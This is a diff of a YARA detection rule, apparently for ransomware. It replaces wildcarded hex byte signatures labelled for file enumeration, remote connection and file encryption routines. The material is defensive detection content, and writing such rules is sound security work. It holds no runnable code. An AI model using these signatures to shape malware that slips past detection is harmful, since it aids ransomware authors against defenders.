-            8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ??
-            8B FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D
-            ?? 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ??
-            8D 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45
-        }
-		$find_files_p5 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 55 ?? 83 7D ?? ?? 8B 4D ?? 0F 43 55 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 83 F9 ??
-            72 ?? 49 83 C8 ?? 3B C8 89 4D ?? 0F 42 C1 03 C2 0F 1F 40 ?? 80 38 ?? 75 ?? 0F B6 08
-            80 F9 ?? 75 ?? 33 C9 EB ?? 1B C9 83 C9 ?? 85 C9 74 ?? 3B C2 74 ?? 48 EB ?? 2B C2 EB
-            ?? 83 C8 ?? 6A ?? 8D 78 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C6 45 ?? ??
-            8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? 3B C7 0F 82 ?? ?? ?? ?? 2B C7 C7 45 ?? ?? ?? ?? ?? 83 C9 ?? 89 45 ?? 83 F8 ??
-            0F 42 C8 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 03 C7 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 8D ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-        }
-		$find_files_p6 = {
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 07
-            ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 47
-            ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F 43
-            4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85
-            DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D
-            ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B
-            FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ??
-            85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D
-            8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
-            33 FF 66 66 0F 1F 84 00 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF B7 ?? ?? ?? ?? 0F 43 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ??
-            ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 83 FF
-            ?? 72 ?? 8B 5D ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ??
-            ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8
-        }
-		$find_files_p7 = {
-            74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
-            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ??
-            50 8B CE E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 8D
-            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0
-            74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
-            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ??
-            50 8B CE E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? ?? ?? ?? 3B
-        }
-		$find_files_p8 = {
-            C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 74 ?? 8D 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 DB 8B 85 ??
-            ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F
-            84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ??
-            8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74
-            ?? 8B 01 85 C0 74 ?? 90 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01
-            EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? E9 ??
-            ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ??
-            ?? ?? ?? 3B C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 75 ?? 8D
+		$find_files = {
+            55 8B EC 83 EC ?? 53 56 57 8B 7D ?? 8B C7 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ??
+            2B C2 D1 F8 8D 44 00 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 A1 ?? ?? ?? ??
+            6A ?? 50 FF D6 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ??
+            ?? ?? ?? 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 51 FF D6 8B F8 85 FF 0F 84 ?? ?? ??
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 3D ?? ??
+            ?? ?? 1B C0 40 A3 ?? ?? ?? ?? EB ?? A1 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 50 53 FF 15
+            ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 F6 07 ?? 74
+            ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 47 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66
+            8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 33 DB EB ??
+            1B C0 83 D8 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? 8D 47 ?? 8D 49 ?? 66 8B 10 66 3B 11 75 ??
+            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
+            EB ?? 1B C0 83 D8 ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 8D 47 ?? 50 8B 07 50 53 68 ??
+            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 55 ?? 57 52 FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? EB ?? C7 45 ?? ?? ?? ??
+            ?? 8B 0D ?? ?? ?? ?? 57 6A ?? 51 FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 15
+            ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ??
+            ?? ?? ?? 5B 8B E5 5D C3
         }
-		$find_files_p9 = {
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32
-            DB 8B 85 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
-            C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? C6 45 ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ??
-            ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ??
-            F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B
-            01 8B 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ??
-            ?? E9 ?? ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ??
-            ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ??
-            8B 01 85 C0 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B
+		$remote_connection_p1 = {
+            55 8B EC 83 EC ?? 53 33 DB 8D 45 ?? 89 5D ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8B 45 ?? 8B 4D ?? 56 57 50 51 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B
+            4D ?? 52 57 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 8B 45 ?? 6A
+            ?? 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ??
+            C7 45 ?? ?? ?? ?? ?? 56 FF D3 8D 4D ?? 51 8D 55 ?? 52 6A ?? 57 C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 85 F6 74 ?? 8B 45 ?? 50 FF D3
+            8B 5D ?? 83 7D ?? ?? 8B 35 ?? ?? ?? ?? 74 ?? 8B 4D ?? 8B 15 ?? ?? ?? ?? 51 6A ?? 52
+            FF D6 8B 45 ?? 85 C0 74 ?? 50 A1 ?? ?? ?? ?? 6A ?? 50 FF D6 5F 5E 8B C3 5B 8B E5 5D
+            C3 8B C3 5B 8B E5 5D C3
         }
-		$find_files_p10 = {
-            40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB
-            ?? 50 8B CE E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ??
-            ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ??
-            75 ?? 33 FF 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
-            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B
-            48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8
+		$remote_connection_p2 = {
+            55 8B EC 83 EC ?? 56 57 68 ?? ?? ?? ?? 33 FF 57 57 57 57 FF 15 ?? ?? ?? ?? 8B F0 85
+            F6 74 ?? 8B 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 89 45 ?? 89 45 ?? 8D 45 ?? 50 6A ??
+            56 C7 45 ?? ?? ?? ?? ?? FF D7 6A ?? 8D 4D ?? 51 6A ?? 56 FF D7 6A ?? 8D 55 ?? 52 6A
+            ?? 56 FF D7 8B 45 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 51 56 FF 15 ?? ?? ??
+            ?? 8B F8 85 FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 8B E5 5D C3
         }
-		$encrypt_files_p1 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 55 8B 6C 24 ?? 56 8B
-            74 24 ?? 57 8B 7C 24 ?? 85 F6 0F 8E ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 ?? ?? ?? ??
-            83 C4 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8
-            ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ??
-            ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 4C 24 ?? 8B C1
-            83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ??
-            83 C4 ?? 85 C0 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 85 C0 75
+		$remote_connection_p3 = {
+            55 8B EC 83 EC ?? 53 56 8B F0 33 C0 89 06 57 89 46 ?? 89 46 ?? 6A ?? 50 89 46 ?? 8D
+            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? BF ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 89 7D ?? 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 8B 4D ?? 8B 1D ?? ?? ?? ?? 8D 4C 09 ?? 33 C0 85 C9 74 ?? 8B 15 ?? ?? ?? ??
+            51 50 52 FF D3 89 06 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 50 E8 ?? ?? ??
+            ?? 8B 06 8B 55 ?? 33 C9 66 89 0C 50 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 66 83 38
+            ?? 75 ?? 83 45 ?? ?? 2B CF 89 4D ?? 85 C9 75 ?? 8B 55 ?? 8D 7C 0A ?? 8D 54 3F ?? 33
+            C0 85 D2 74 ?? 52 50 A1 ?? ?? ?? ?? 50 FF D3 8B 4D ?? 89 46 ?? 85 C0 74 ?? 51 8B 4D
+            ?? 51 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 4E ?? 52 8B 55 ?? 50 8D 44 51
+            ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? B9 ?? ?? ?? ?? 66 89 08 33 D2 66 89 14 78 66 8B 45 ??
+            83 C4 ?? 83 7D ?? ?? 66 89 46 ?? 75 ?? 83 4E ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D
+            C3 8B 36 85 F6 74 ?? 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B
+            8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 33 C9
-            85 F6 7E ?? 8D 56 ?? 53 8B 5C 24 ?? 03 D7 66 0F 1F 44 00 ?? 8A 04 19 8D 52 ?? 41 88
-            42 ?? 3B CE 7C ?? 5B 8D 44 24 ?? 89 74 24 ?? 50 8B 44 24 ?? 57 6A ?? 6A ?? 6A ?? FF
-            70 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ??
-            ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44
-            24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF 74 24 ?? 57 E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC
-            E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 74 24 ?? 56 57 55 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 8B C6 5F 5E 5D
-            33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3
+		$encrypt_files_1 = {
+            8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 57 8B F8 8D 4C 3F ?? 33
+            C0 85 C9 74 ?? 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8B F0 8B CB
+            2B F3 8D 9B ?? ?? ?? ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? B9 ?? ?? ?? ??
+            8D 34 3F 2B F1 03 F0 EB ?? 8D 49 ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? 5E
+            5F C3
         }
-		$remote_connection_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? E8 ??
-            ?? ?? ?? FF 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ??
-            E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B D8 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83
-            C4 ?? 49 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? 83 3D ?? ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 89 41 ?? 8B F2 A1 ?? ?? ?? ?? 89
-            41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 8A 02 42 84 C0 75 ?? 8D BD ??
-            ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4
-            8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            8B F2 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 66 90 8A 02 42 84
-            C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B
-            CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ??
-            ?? ?? ?? 8B F3 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 8A 03 43
-            84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B DE 4F 8A 47 ?? 47 84 C0 75 ?? 8B CB C1 E9 ?? F3 A5
-            8B CB 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 8B F2 89 01 A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 0F
+		$encrypt_files_2 = {
+            83 E8 ?? 53 56 57 8B DA 74 ?? 48 74 ?? 5F 5E 33 C0 5B C3 53 51 33 F6 E8 ?? ?? ?? ??
+            83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ??
+            85 C0 74 ?? BF ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F7 5F 8B
+            C6 5E 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33
+            FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? 8B 0D ?? ?? ?? ??
+            56 6A ?? 51 FF 15 ?? ?? ?? ?? 8B F7 5F 8B C6 5E 5B C3 ?? ?? 55 8B EC 8B 4D ?? 8B 41
+            ?? 83 F8 ?? 0F 8F ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 40 53 89 41 ??
+            8B 45 ?? 83 E8 ?? 56 57 74 ?? 48 0F 85 ?? ?? ?? ?? 8B 7D ?? 33 F6 8D 9B ?? ?? ?? ??
+            8B 86 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 83
+            FE ?? 72 ?? 8B 5D ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 51 56 E8 ?? ?? ?? ??
+            83 C4 ?? EB ?? 8B 41 ?? 83 E8 ?? 74 ?? 48 75 ?? 8B 75 ?? E8 ?? ?? ?? ?? EB ?? 8B 75
+            ?? 8B C6 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 85 C0 74 ?? 8B 5D ?? 8B FE E8 ?? ?? ?? ??
